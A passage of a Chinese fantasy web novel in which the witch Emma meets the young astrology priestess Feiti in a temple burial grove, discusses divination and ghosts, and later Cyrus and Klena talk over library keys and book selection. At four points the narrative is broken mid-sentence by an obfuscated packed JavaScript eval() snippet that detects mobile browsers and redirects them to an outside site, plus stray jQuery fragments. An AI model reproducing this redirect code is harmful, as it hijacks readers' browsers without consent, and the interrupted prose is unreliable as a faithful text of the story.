“据我所知,月神殿下的信仰中,认为生命的本质是一种无形的物质,‘人逝去后平等,化为洪流中之一’。月神殿下的仁慈是给死亡安宁,而不许诺来生种种。 “但在牧神的信仰中,宣扬‘死亡并不是生命的结束,而是新生的另一次选择’。 “在我们的国家,信仰牧神的人会在自己的坟墓上埋下植物的种子,如果植物顺利生长,意味着逝者希望留下,以另一种生命形式;如果植物未能发芽,或者夭折,说明逝者有怨,或与这片土地不和,不应强留,要请法师为其祈福来生。 “神殿的那片小树林,比起月神殿下,更像牧神的风格。” 艾玛若有所思:“是吗……” 三人间沉默了一会儿,空竹突然一惊:“对不起,我是不是耽误了你们的时间?” “没事,只是准备去吃早餐,时间还早,不着急。你的话题很有趣。”艾玛说,“反过来说,你正在巡逻吗?可能是我们耽误了你的时间。” “怎么会!呃,我、我今天是日班,刚刚跟人交接完……因为看到了贝拉姐,本来只想打个招呼……” 空竹慌乱道,“食堂已经开门了!不打扰你们了,那我就先走——告退,殿下。” “好的,再见。”艾玛挥挥手。 空竹行了一礼,退后两步,跳到走廊石砖墙沿上吹了声口哨,远处的鹰向他飞回来。 空竹从墙头往前方的空气踏去,却没有坠落,仿佛被水洗掉的颜料那样从视野里消失了。 这次足够艾玛看清楚,空竹并不是真正站在空气中,而是脚下踩着魔法凝成的钢丝般的“线”,他走在线上时如履平地,仿佛脚底和线之间有磁力相吸。 线的拉开和消失十分迅速,他在空中行走之余还能分出精力展开让自己融于环境的法术来藏匿身形气息。 一开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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艾玛也途径过将骨灰洒在树林中的城市,但当地人的传说里,那片被民众当作墓地的树林常常闹鬼,除了举行葬礼的时候,平日里很少有人敢去。 “无名的小树林”里植被茂盛,春季里绿意葱葱,草都长得有半米高,站在树林边上看不清里面的景象,更看不到尽头。 树林边有少量守卫,荷尔贝拉介绍,也有多位园丁定期养护这里。 比起“墓地”所象征的死亡,小树林看起来却充满生命力,这种反差非常奇妙。 如果不是因为这个名字,说这是森林艾玛也相信。 她突然好奇这片树林到底有多大,一时也不急着进去看,绕着树林的边缘走起来,荷尔贝拉跟在她身后。 树林是绿的,深浅不一,甚至带着浅黄和暗红的绿,树干是棕色,草叶被日光映得发白,零星的白色、粉色、黄色、浅紫色小花散落在草地里。 因此,视野中突然撞入一大片黑色的时候,艾玛一时间没有反应过来。 那是个倒在地上的女孩。黑色的长发铺散在背上,头顶戴着格纹的花边发带。 艾玛刚走近她,就听到女孩惊呼了一声:“啊。” 听到这声音,艾玛停下脚步,看到女孩向她抬起头来,露出一对深紫色的眼瞳,近似方形的黑色瞳孔。 她伏在草丛中的树荫下,细细碎碎的阳光落下来。 她望了艾玛三秒,叹了口气,没有惊讶也不焦急,从草地上支起身,拍了拍自己沾着草叶泥块的花边长裙,将碎发拨到耳后,向艾玛行了一礼。 “贵安,女巫殿下。初次见面,荣幸之至。” 女孩说话的声音像没有感情的念白, “我是神殿的天象祭司,您可以叫我菲提。” 80.菲提 在菲提拨动头发的时候,艾玛注意到她的耳朵,有着绒毛的黑色垂耳,兽类的耳朵,混在黑发间,远看很不明显。 结合那对特殊的瞳孔,艾玛猜到她大约有山羊的血脉。 “你怎么知道我是女巫?”艾玛问。 “感觉。您和别人不太一样。我听说了女巫殿下最近刚刚来到神殿的消息,猜到了。” 菲提没有表情地说。 这时树林里又传来沙沙响动,一个女生从树丛间走出来,看到艾玛,立刻快步上前行礼。 艾玛对那个女生有点印象,在指月石测试时见过她一次。 “贵安,女巫殿下。我是天象祭司所属,监察骑士露辛,也担任菲提大人的护卫。” 她主动自我介绍了一遍,向另一边的荷尔贝拉也点头致礼。 礼数到位,这才颇有些不愿面对事实般将目光落到菲提身上,果不其然看见她形容狼狈,还冷着一张脸。 露辛摘掉菲提头发上沾着的枯草,最终没有现场抢救她凌乱裙子的方法:“抱歉,女巫殿下,菲提大人没想到会突然遇见您,礼数不周……” “您为什么会在这里,殿下?”菲提打断她,直直对着艾玛道。 “我不能来这里吗?”荷尔贝拉对她没有拦阻,艾玛也就没觉得这是个不能随意到访的地方,但菲提的态度又让她怀疑自己是否真触犯了什么规则。 菲提别了别嘴,她语气老成,声音却尚稚嫩,显出一种奇妙的反差:“那是您的自由。但是,您为什么刚来神殿就要找这片树林呢?现在太阳又大又热,也不是好时间,您为什么偏要挑这时候来这里呢?” 露辛倒吸一口凉气,想了五百种向女巫殿下道歉和解释的方式,菲提却完全没谅解她的心情,继续说:“这里对您来说没什么意思,请去别的地方看看吧!” 艾玛也没生气,说:“我好像让你不高兴了,可以告诉我理由吗?” 菲提沉默了几秒,闷声道:“我正在观察的甲虫被您吓跑了。” 哦。艾玛明白了。 菲提刚刚不是晕倒或摔倒,刻意一动不动地趴在那里,原来是为了观察昆虫。 “我没有注意到,对不起。”艾玛说。 菲提点头,算接受了这份道歉,表情不那么紧绷了,但仍然不高兴,脸上写着“你怎么还不走”。 “我想进这片树林看看,可以和你一起吗?” “我很忙,殿下。我有自己的事情要做。”菲提的声音硬邦邦的,一字一句加了重音,“不是所有人都要围着您转的!起码我不会。您大可以去其他地方,有的是会围着您打转的人。” “你听起来像讨厌我。” “没有,殿下。我今天第一次见到您,除了您吓跑了我的虫子之外,我对您没有其他意见。 “我这么说话,是因为我不高兴,而且我知道,您不会为此不高兴。” 艾玛望着她,说:“是的。我们第一次见面,你已经了解我了。” “但您不了解我,所以我会把自己的想法明确说出来。”菲提说,“您所感兴趣的东西不在这片树林中,即使看了也不会有什么收获。比起这种可有可无的消遣,还不如把时间花在其他地方。” 艾玛沉默了一会儿,安静使得一旁的露辛胆战心惊。 她向菲提蹲下身,看着她的眼睛:“真厉害啊。这就是‘天象祭司’吗?” 菲提深深皱眉:“虽然我只有十五岁,比您矮很多,但这种刻意迁就我身高的动作很伤人,我并不希望自己被当成小孩看待。” “我是想更近一点看看你的耳朵。我可以摸摸它吗?” “我们才第一次见面,这很没礼貌!殿下。”菲提的耳朵因为生气动了动。 “好吧。”艾玛动眼不动手。 菲提看她仍然半蹲着平视自己,扑了扑耳朵:“好吧!您今天就非得进我的树林看看吗?” 她话里已经更进一步,宣示自己对小树林的主权,露辛听不下去了:“菲提大人……这片树林不是任何人的私有,您也没有阻拦女巫殿下进入的道理……” “闭嘴,露辛!帮我说话!” 露辛叹气:“请见谅,女巫殿下,菲提大人脾气不好。她算出小树林今天这里不会有人,特意翘了课跑来观赏昆虫植物,没想到会有意外访客。 “菲提大人的占卜向来很准,这样的偏差难免伤到自尊,请您宽容……” “不是这么帮我说话!”菲提气道,“再说,我也没有觉得伤自尊!算不到女巫是非常、非常、非常正常的事!” “你没法帮我占卜吗?”艾玛问。 “从来没有占卜师跟您说过?”菲提皱眉,显然认为艾玛见过的占卜师太不专业。 她在衣裙上随意地擦了擦手,从裙子的口袋里摸出一个银币,银币正面是面值,背面是对应的月相。 她把银币交给艾玛,拢起她的手掌:“现在——想着您要问的问题,然后松开手。” 艾玛如她所说,抛下了硬币。 银币在空中转了几圈,啪地落到草地里,背面朝上。 “你看,不行。”菲提说,“银币在空中翻了三圈,还是背面向上落地,占卜无效,再试几次都一样。凡人无法观测女巫的命运。” “如果我允许你看,希望你观测也不行?” “不行。”菲提回答得毫不迟疑,“另外,这是建议,如果您希望对一位占卜师隐瞒身份,绝不要答应让他为你占卜。 “即使占卜师未必知道女巫是什么,得到您的‘允许’后,他能窥见您周身‘流向’的一角。即使看不出什么名堂,那种景象对一个占卜师来说已经足够恐怖,不知情的会以为牵扯上魔鬼或者撞了邪。” 艾玛稍微明白了。 她从前也对占卜产生过好奇,小说话本、街头巷尾,乃至贵族间的谈资中,都常常提及占卜的神奇。 但西里斯说,没有占卜师可以卜算女巫的命运,如果实在要让他们占算——“会吓到人吧”。 即使才刚刚打了个照面,艾玛也能看出菲提的占卜才能非凡,无怪于议会愿为她破例。 这样的占卜师都说得那么肯定,艾玛也不再怀疑。 “那刚刚算是我‘答应’了你为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338275|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我占卜,你看到了恐怖的景象?” “很惊人。但我知道您是女巫,还算预想内。神殿从前的占卜师留下的笔记里说得天花乱坠,相比起来,实际见到的还算好。” 菲提捡起银币,装回口袋里。 她看着艾玛,最终松了口:“看来我没法劝您回去了。我先声明,就像我刚才讲的,对您来说,这片树林会很无聊。” “没关系,我只是想看看。”艾玛微笑,“而且,今天能遇到你,我已经有所收获了。” “如果见到我就能使您满意,您现在就可以回去——好吧。” 菲提一顿,有点勉强地道,“我作为天象祭司,平时做的事情不多,陪您转转还算力所能及。为了回去不被弗里蒙斯念叨,还是做点与职位相称的事吧。这边请。” 菲提转过身带路,露辛向艾玛再行了一礼。 小树林里郁郁葱葱,一片幽静。 栽种的树种众多,高矮兼具,不像一般森林那样同一树种连成一片,颇为错落,却也别有特色。 菲提熟门熟路,带着她们绕开生刺的树丛,会勾到脚的根茎,穿着长裙和皮鞋在这里走动,仍然灵巧轻盈。 她像报菜名那样对艾玛介绍这棵那棵树的品种,野花的名目,连未开/苞的花都能拎出来准确地向艾玛介绍其花期。 那些植株栽种时的方位排布是有讲究的,使得这片树林有一年四季的风景,从无荒芜的空缺。 树林的地上有许多石头,上面刻着字。艾玛蹲下身去看,上面刻着姓名和生卒年月,有的还附上一两句寄语或短诗。 有的石块因为遭受风吹雨淋太久,上面的刻痕已经模糊。 “这里平时少有人来,生态环境保护得很好,还有园丁悉心养护。有很多种花草只能在这边见到,听说医疗部有托人在这里培养一些特殊的药草。 “这里也有很多少见的昆虫,本来想向您介绍一些,想来您未必有兴趣。再说,人一多,它们早被吓跑了。” “我平时不会主动观察昆虫,但我见过爱好者收藏的昆虫标本,它们很漂亮。” “哦。”菲提挑了一边的眉,“跟我不是一类,我不喜欢标本。我喜欢观察昆虫和植物,但只喜欢观察活的。 “再精巧的标本也会失去那种生命力,好像褪色了一样,很没意思。您平时不观察虫子,也没和它们‘对话’过吧?” “在练习和外界‘沟通’的时候,我试过和昆虫交谈。嗯……不太成功。我什么都没听到。” “它们害怕您。”菲提说,“唔,这也难怪。虫子的意识比魔法粒子复杂,但比人和兽都简单太多了。我可以和它们做些基础沟通,虽然不是次次都顺利,有的虫子又蠢又很固执。 “它们有独立的意识,又没有强烈到能主宰魔法粒子的波动,几乎没有受到魔法青睐的机会,这让它们对粒子的流动反而比任何人都敏锐。 “如同生物会本能地恐惧天灾,它们会本能地敬畏神明,就像此刻畏惧着您—— “我从来没在这听过这么安静的声音。您一靠近,它们就把所有声音都收起来了。” 81.鬼魂 菲提四下望了望:“看来我今天跟虫子没缘分,还好植物都不长脚,但我看这些花草在您面前也大气不敢出,真压抑啊。” “或许我可以学学怎么和它们对话,让它们不必怕我。” “我觉得没必要。”菲提淡淡道,“会畏惧您是它们的天性,让它们畏惧是您的天性。想要改变这点挺勉强您的,也勉强它们。” 艾玛看着菲提。 菲提被她的目光看得有些不快:“您是不是在想什么失礼的事?” “我只是觉得,你有很特别的视角,想法也很成熟。” 艾玛说,“我前几天见过弗里蒙斯先生,你们的性格不太一样。” “好吧,我想想,他不至于在女巫殿下面前说我坏话。” 提到表兄时,菲提的神色轻快起来,“弗里蒙斯是个老好人,认真的地方又太死板,像他那样过活太没意思了。 “我早说他这样不会受欢迎,到了四五十岁都得单身,他不听。哎,没办法,实在不行,等他老了只能我照顾他咯。” 弗里蒙斯确没说过菲提的坏话,菲提提起弗里蒙斯却损得没有一句停顿,还带着隐隐的得意,可以看出这对兄妹关系好倒是绝对不假。 她抱怨完表兄后心情大好,继续向艾玛介绍起了林中的植物。 走着走着,时间近中午。 树林中央有一片湖,露辛早有准备,在湖边的草地铺开餐垫,拎出了提前准备好的食篮。 由于事先没想过会有其他人到访,食物只有两个人的分量。 菲提这时候很大方,拿起餐刀切了一半自己的三明治给艾玛,露辛向荷尔贝拉分了自己的份。 大陆多旱,艾玛在旅途中也少见这么茂盛的树林,头一次在这样的风景中野餐。 这片树林本是神殿的墓地,墓地总是荒芜而不祥。她见过一座城市的公墓,石碑和鲜花酒瓶挤挤挨挨地靠着,连落脚之处都难找。 艾玛突然说:“这里有鬼魂吗?” 荷尔贝拉和露辛的动作都停下来。 菲提咀嚼着面包翻找食篮:“不知道,有我也看不见。” “有人类在这里的话,是不是会打扰到他们?” 菲提又啃了一口面包,这次抬起眼来看她了。 她思索了片刻,咽下食物说:“很复杂,不好解释。‘鬼魂’是心有执念的逝者强行驻留在世间的形态,其存在违背自然规律,会自然衰弱消亡。 “他们和活着的人是两种完全不同的存在形式,就像是活在两个世界里那样,只有在人‘能看到’或者‘与鬼魂有因缘’的情况下,才可能互相产生影响。 “最常见的,杀人者最容易被那些被杀者的鬼魂缠上,那种无冤无仇但莫名其妙突然能看见鬼而被缠上的倒霉蛋也不少。 “鬼会折损生者的寿数和气运,跟占卜有很大关联,但涉及鬼魂的占卜有个专门的分支,专长于这个领域的占卜人常被称为‘通灵师’。” 菲提舔了舔手指上的果酱,一边思考一边拧从食篮里找出的玻璃瓶的盖子:“嗯……很复杂。涉及鬼的东西总被人当不吉利,很多通灵师不会明着打出自己的旗号,仍然用占卜师的名义工作。 “‘通灵’比普通的占卜更需要特殊天分,能看见鬼的占卜师,命运比其他人更接近死。 “直白地说,跟鬼沾上边的都要折寿,能做这行的基本命不会长。 “还有一种情况,人在年暮的时候,他的命运也会变得跟死更贴近,许多占卜师到了暮年开始有通灵的能力。 “神殿里有会通灵的占卜师,这些是我听他们说的。我没有那种‘通灵的运气’,看不见鬼魂,也算不出相关的东西。运气好的话能算到点吧,反正不擅长。 “总结:我的意思是——大部分情况下,活人和鬼魂井水不犯河水,互相不会产生任何影响。别说在这野餐,在这大吵大闹开宴会都吸引不到他们的注意。 “我们不在这开宴会,只是活着的人觉得这不符合礼节,跟鬼魂的想法没关系。” 露辛咳了一声,盯着她:“慎言,菲提大人,这话太不合规矩……” “看,例子。”菲提向她扬了扬下巴,对艾玛道,“露辛本职在文礼司,很讲究这些。算了,我少说点,免得她不高兴。” 露辛显然熟悉菲提的脾气,也无可奈何,只是向艾玛低了低头表示歉意。 艾玛沉思了一会儿,才说:“这样啊。” “您讨厌这种态度吗?”菲提说,“不少人觉得这是对死者的‘不尊重’。” “我认识一个火化师,工作之余他喜欢养花。他告诉我,骨灰是很好的肥料。这里的植物都很有生命力。”艾玛说,“我觉得这样很好。” “您经历丰富。听起来挺有意思的。” 艾玛看着菲提问:“但我听说月神并不宣扬死后的来生,把骨灰撒在种子上,这更像牧神的风格。” 菲提诧异地顿了顿:“‘牧神’,唔,我在书上看见过。祂们那边的传统我不清楚,但如果您问的是月神殿下的作风,我们这边一直推行火葬。神殿不宣扬来生,也不提倡对死者进行过度形式化的悼念,没有供人祭拜的公墓。 “有传说,阿瓦托芬越中心的位置距离月神殿下越近。神殿在阿瓦托芬正中,‘无名的小树林’在神殿之内,信徒大多会选择身后把骨灰撒在这里,长眠在距离神明最近的地方。” 露辛点头,为她补充道:“这片树林只有神殿的祭司可以自由往来,其他人想进入需要事先提交申请。如果有人想把亲人的骨灰放在家里悼念,神殿一般也会准许,不过以逝者本人的意愿为优先。 “阿瓦托芬住民的来历繁杂,有的会坚持要求按照他们故乡的风俗安葬,神殿会尽量尊重,但必须由文礼司的殡仪部为遗体举行仪式。据说对遗体处理得当,能一定程度上减少鬼魂的出现。 “但如果未经神殿允许,私自将遗体葬在地下,一旦被发现,则会将当事人驱逐出阿瓦托芬。这种行径是对月神信仰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343856|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的冒犯。” “露辛很有经验,她在监察部工作过呢。他们行动很快,我也不知道他们是怎么监测到有人在阿瓦托芬地界上埋了东西这种小事。”菲提耸肩。 看到艾玛投来目光,露辛有点尴尬:“我当时负责的是……赶到现场,抓捕犯罪嫌疑人,制止纠纷。负责监测的是其他同事,我也不是特别了解,好像……和指月石有关系,我只知道这些。 “听同事说,这种监测工作最重要的是为了防止不怀好意的人在阿瓦托芬的地界上设置法阵。 “大型法阵必定会在地下埋入‘阵脚’,法阵一旦成型,后果不堪设想。对阿瓦托芬有所图谋的外敌很可能采取这种方式,从内部打开缺口,所以我们必须随时警惕。” 艾玛问:“这是文礼司的工作吗?” “不,监察部属于天象司,一半行政职员来自巡防营。我是巡防营出身,后来进入监察部的。 “呃,但是,我觉得我……不太适合这份工作,后来,因为偶然的机会调职了。” “露辛喜欢服装设计和缝纫,所以趁着监察骑士选拔调职了。”菲提没在乎露辛刚刚犹豫的停顿,随意地径直说道,给露辛惊了一下,慌忙向艾玛仔细解释。 “监察骑士的选拔是从天象司、文礼司和巡防营里各选四位,这一届文礼司只选出了三位,而天象司候选人还有多,所以我申请了调到文礼司……” 菲提奇怪于她的慌张:“跟我说的不是一个意思?用不着解释吧。做自己喜欢的事不是挺好的,我很喜欢你给我做的裙子……” “菲提大人!” 露辛急忙打断。 “你觉得不好意思吗?”艾玛问。 “我技艺不精,对缝纫的兴趣是后来才有的,也说不上什么才能……实在惭愧。”她磕磕绊绊地说,艾玛看见她耳根红了。 “你刚才的介绍很清楚,你很了解自己的工作,也很认真。”艾玛缓和地说,“我觉得菲提说得对,知道自己喜欢什么最重要。” 她今天第一次叫到了菲提的名字。 菲提抬起眼来,端端正正地瞧了艾玛一遍。 “怎么?” “您没叫我‘小菲提’,这很好。”菲提点头。 “我觉得你很出色。虽然还没有成年,你已经知道很多事情,清楚自己喜欢什么,擅长什么,还愿意耐心地一点点告诉我我不明白的事,我应该认为你是对等的,谢谢你。” 菲提嘶了一声,颇有点不自在:“您还……真会夸人,我很荣幸您如此高估我……我是说,虽然这么说有点坏您兴致: “‘我不认为任何人类有资格与女巫对等’,就像自比神明是对神明的亵渎。我没法直呼您的名字,但感谢您的认可。” “是吗。”艾玛说。 菲提摸了摸自己的脸:“您跟我想象得不太一样……如果我的言语有所冒犯,我向您道歉。 “我以为人的言行不会牵动月神女巫的情绪,像神不在乎蝼蚁,您永远稳定。” 82.钥匙 “在身为女巫之前,我首先还是个人类。”艾玛说,想了想,低下眼,“虽然在有些方面不太一样。” “这样吗……嗯……抱歉……”菲提皱着眉犹豫道,“我以为您应该已经接近……或许是我过度自信了。” 艾玛看着她。 “好吧!我相信女巫殿下对我有意见会直说,您不说我就当没有。端着架子太累了。” 菲提的紧绷来得快去得也快,说到这儿已经放松到开始扒拉食篮里的其他东西,剩露辛深深地凝视着她。 艾玛向她靠过去了一些,问:“我下午想去城里走走,你要一起吗?” “城里?嗯,我不想去,今天不想。您下午要去城里,那就是说树林可以留给我一个人咯?” 菲提眼睛一亮,露辛在旁边咳嗽了一声。 菲提瞧了露辛一眼,对艾玛道:“殿下,您能不能给露辛说说您不介意的事,否则等您走了她得叨我一下午,回去告诉弗里蒙斯,晚上我回家得再被他叨一晚上。” 艾玛点头:“有机会的话,我还想再多跟你聊聊。如果我想要找你,去哪里可以见到你?” 菲提思索了片刻:“我在天象司有个自己的房间,每周有一天会在那边‘工作。’弗里蒙斯这周六要加班,我周六也会过去。” “那就周六。”艾玛向露辛抬了抬手,“我们约好了。” 露辛向她欠身,示意明白。 克蕾娜每周有三天在门诊部值班,下值后会先回医疗部的办公室整理当天的病历档案。 当天她回到办公室时已经下午五点多,同事们三三两两地离开办公区约饭去了,走廊空旷而安静。 因此艾玛刚走进房间,克蕾娜就看到了她,立刻噌地站起来,很紧张。 艾玛四下望了望,没有看见熟悉的身影:“西里斯不在吗?” “呃,他、他出门了,我也不知道他什么时候回来。”克蕾娜试探道,“您要在这里等他吗?” “啊……这样,”艾玛垂下眼,“那……不用了。我刚刚去城里走了走,看到一个很漂亮的灯,想送给他。麻烦你帮我转交吧。” 克蕾娜接过她递来的纸袋:“您客气了……要不要坐下喝杯茶?” “不用了,谢谢你。”艾玛摇头,“那我先走了,下次见。” 克蕾娜把她送到门口,目送艾玛和荷尔贝拉离开之后才回到座位,看着放在桌上的纸袋,目光复杂地摇了摇头,坐回位置继续自己的工作。 西里斯半个小时后回到了办公室,手里拿着本书,另一手拿着瓶药剂,把它放到了克蕾娜边上。 他早上在门诊部待过一会儿,克蕾娜想起办公室里缺了种明天要用的实验药水,西里斯提到他要出门,可以下午回克蕾娜办公室时顺便带给她。 药瓶上的标签都贴好了,西里斯对医疗部和温室的设置已经熟门熟路。 在近来的相处中,克蕾娜早已不怀疑他的药理学素养,收好药水向他道了谢。 看见西里斯目光落到桌面格格不入的纸袋上,克蕾娜说:“女巫殿下刚刚来过。” “哦。”西里斯语气里表示了轻微的惊讶。 “她说这是给你的。” 克蕾娜看他放下手里的书,打开纸袋,拿出里面的纸盒,再打开,掏出一个形似胡桃的工艺品。 敲两下胡桃的尖端,胡桃壳就裂开成六瓣,藏在壳中的小型雕塑们冉冉升起,载歌载舞,光芒四射。 灯光从胡桃最中心的雕塑建筑中溢出来,橙黄色的暖光被环绕的小雕塑们旋转着阻隔,缝隙间漏出星星点点形状不一的剪影。 傍晚的办公室还算明亮,胡桃灯的光看起来仿佛融于环境,并不明显。 克蕾娜咳了一声:“那个,你……没有跟女巫殿下吵架?” “没有。”西里斯抬起头,合拢了胡桃。 克蕾娜有点怀疑地看着他:“是吗?” “你觉得像?”西里斯把胡桃灯放回盒子,再放回纸袋,在纸袋的折痕上再折了一道。 “我说不清楚,就是觉得有点奇怪……好吧,既然你说没事。”克蕾娜看了看他放在桌面的书,“你刚刚去的图书室?” “对。” “你刚来到神殿,应该没有借书证吧?” “女巫殿下给了我一把钥匙。” 西里斯从衣袋里把钥匙摸出来,克蕾娜看了一眼,扫到了匙柄上刻的数字,愣了一下:“这不是利利提亚的吗?” 西里斯翻过钥匙,想起图书室登记员的神色:“我没问她。” “好吧,无所谓,他自己乐意给,说明也用不着。”克蕾娜啧一声,目光有意避开了西里斯借来的书,“那你借的书——第三层的?” “第二层。第三层是你们的机密,我是外人,不应该进去。” “道理是这么说,呃,不去第三层的话,也用不着主祭司的钥匙啊。第二层我的钥匙也够用。” 克蕾娜皱着眉偏头去看书的封面,“你借的什么?‘《黄金之都商业纪年表推论》’,历史书?你对这个感兴趣?” “不是。女巫殿下说她对这方面感兴趣,我帮她筛选一下书目。” 西里斯停顿一下,看见克蕾娜表情古怪,“怎么了?” “你是指……你看过之后,觉得好,再推荐给殿下?” “是。” 克蕾娜按按额角:“历史书我也看过不少,为了一些学习需要什么的,也算有点经验。 “时间越久,历史真伪越难分辨,有时候不同的书里记载矛盾。没有人能完全知道正确的历史,你主观选择相信的版本未必是正确的。” 西里斯没有解释,嗯了一声。 “而且……就是,既然感兴趣的是女巫殿下,怎么说,我不是觉得你不好啊。” 克蕾娜摸着脖子,有点犹豫和尴尬,“‘女巫的直觉’一定比其他魔法师要强吧?让女巫殿下自己挑书、自己选择书里想要相信的部分,肯定更准确,效率也更高。 “你帮她筛选一遍,自己要花不少精力,也限定了女巫殿下能看见的范围,这不就像只是让她去相信你选择相信的东西吗?” 西里斯愣住了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350859|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 克蕾娜赶忙摆摆手找补:“啊不是,我没说太重吧?就,你看,退一步说,对历史感兴趣不就是亲自去探索真相的这个过程好玩吗,就算会碰壁会犯错也是探索的一环。 “你也会犯错,女巫殿下也会犯错,很公平。既然大家都要犯错,让殿下自己体验这个过程还更有价值,对吧?” 西里斯没回答,一阵安静在房间中蔓延。 安静的时间长得有点不自然了,让近年来情商有所长进的克蕾娜感到不大对劲,开始反思自己刚才的话。 她苦思冥想心念电转了十秒,回想起对西里斯和艾玛关系的猜测,突然福至心灵,灵光一动,想到:这难道就是那种她搞不懂的小情侣间的情趣,比如故意在对象面前装柔弱什么的。 克蕾娜这下真觉得有点尴尬:“……我是不是多事了?” “不,”西里斯开口了,“你说得很对。谢谢。” “嗯?啊?啊,没事,不客气,你觉得对就行。” 西里斯又想了几秒,抬起眼睛:“克蕾娜,你的图书室钥匙可以借给我吗?” 克蕾娜还有点没回神:“嗯?偶尔借一下是没事,我平时用得不多。” “好,”西里斯再次说道,“谢谢你,克蕾娜。” 阿瓦托芬的四月里,春季的暖意姗姗来迟。 近来天气很好,只适时下过些小雨,白日晴空高照,日光慷慨地渲染着街边日益的花团锦簇,城里的街道随处可见建设中的繁忙。 有店铺在门口摆设花篮、缠绕彩带,有雕刻师在门匾上雕花,有人踩着缝纫机设计衣物。 哈瓦娜介绍,五月的第一周是春祭,阿瓦托芬最重要的节日庆典之一,象征着“新生、希望、创造”。 春祭有盛大的演出游行,众多艺术展览,商店也会举办各式各样的活动。 总之——“很热闹,很好玩。”哈瓦娜这么描述。 荷尔贝拉今天有事,巡查队那边的工作需要她处理,便和哈瓦娜交了班。 比起介绍相对公式化和简练的荷尔贝拉,哈瓦娜的介绍主观零碎又繁杂。 一会儿讲了半小时附近她好评的餐馆,一会儿又介绍了五十分钟她觉得好玩的商店,以至于两人三个小时都没走出一个街区。 艾玛心态很好,非常稳定,一点不着急,跟着哈瓦娜四处东转转西看看,这里买点吃的,那里原地站着看街头烧玻璃的商店看了二十分钟。 打扫街道的神殿守卫隔空指挥着十把扫帚八个畚斗和三个垃圾袋,昂首阔步心情很好地走过,像一支即兴演奏的游行乐队。 路边的小孩把吃完点心后剩下的纸袋扔进在空中跳舞的畚斗,哒哒跟到守卫身后,和一些路过凑热闹的孩子一起加入这场小型游行。 在阿瓦托芬,魔法师如此稀松平常,不引人惊异,不因为才能自认高人一等。 艾玛从没在其他地方见过有魔法师这么心情愉快地打扫街道,那个守卫甚至回过身来逗他身后的孩子,看着其乐融融。像是幻想小说里才会有的景象。 艾玛端着杯饮料,看着街道发呆。 83.彩排 原本的计划,来到阿瓦托芬之后,和神殿的人沟通达成一致,在这座城市稍作游览。 然后就该借阅神殿的藏书,多获取一些外界所没有的知识,以提升她的魔法,这是艾玛来到月神神殿的主要目的。 如今前置事项已经全部完成,即使把主祭司的钥匙交给了西里斯,如果想要去图书室,监察骑士同样有第二层的借阅许可。 但艾玛自利利提亚带她游览那天之后,就没去过图书室第二次。 房间里的书没看几本,在城里的书店转悠时净挑点不用多少脑子的小说故事。 女巫日记看几页就要停一停,甚至平铺直叙的菜谱都展露出一种让艾玛想借个厨房试一试的奇妙引力。 艾玛从来不是耽于玩乐的类型,幼年作为女佣一直认真工作,在费城学习时能一丝不苟地完成指标,沙漠旅行中也会每天看书。 但最近她却莫名什么都不想做,也不想长时间待在房间里,总是漫无目的地四处闲逛,甚至不想多加思考,仿佛身体和大脑都在清晰可感地缓慢融化。 不会阿瓦托芬地下真有什么会让人玩物丧志的法阵吧? 艾玛甚至升起这样的念头。 艾玛此前从未进行过那样一场长达三四年的沙漠旅行,即使偶尔在某处歇脚,停留时间也不太长。 或许只是她之前没注意到,身体比她想象得还要疲劳。 或许吧。艾玛觉得这是勉强能解释的说法。 如果是这样,放任自己休息一段时间也无妨。 但另一种可能清晰地陈列在那里,在隐约燎起的焦灼感中被回避,艾玛不愿细想。 她慢慢咬皱了杯里草杆做的吸管,中心的空洞被齿尖压成一团。 她垂下眼睛。 想见西里斯。艾玛想。 西里斯在回避她。 艾玛注意到了,却只能对此茫然。 艾玛知道自己从前就总在学习模仿身边的人。在她还不能理解人与人的天然不同是常态时,她通过模仿他人来让自己合群,像动物的拟态。 人们似乎总会排斥与自己相异的,而欢迎与自己相近的同类。 艾玛虽然不太理解,总是不能懂得他人行为的内在逻辑,但模仿出迟滞生硬的相近言行,也勉强过了关。反正那时朋友们本就觉得她迟钝木讷。 后来她也遵循这样的方式与人相处,这办法没有太大的错处。 几乎所有人都会因为他人与自己具有近似的特质而感到亲切,尤其那些极其信任自身能力与思考的。 学习模仿自己喜爱的人,便仿佛能更靠近对方。 幼年时艾玛模仿母亲,因此学得她乐观的态度,即使仍然不知道为什么而乐观。 后来她也学习嘉兰的决断,模仿西里斯的处事,于是得来肖像的谈吐能力。 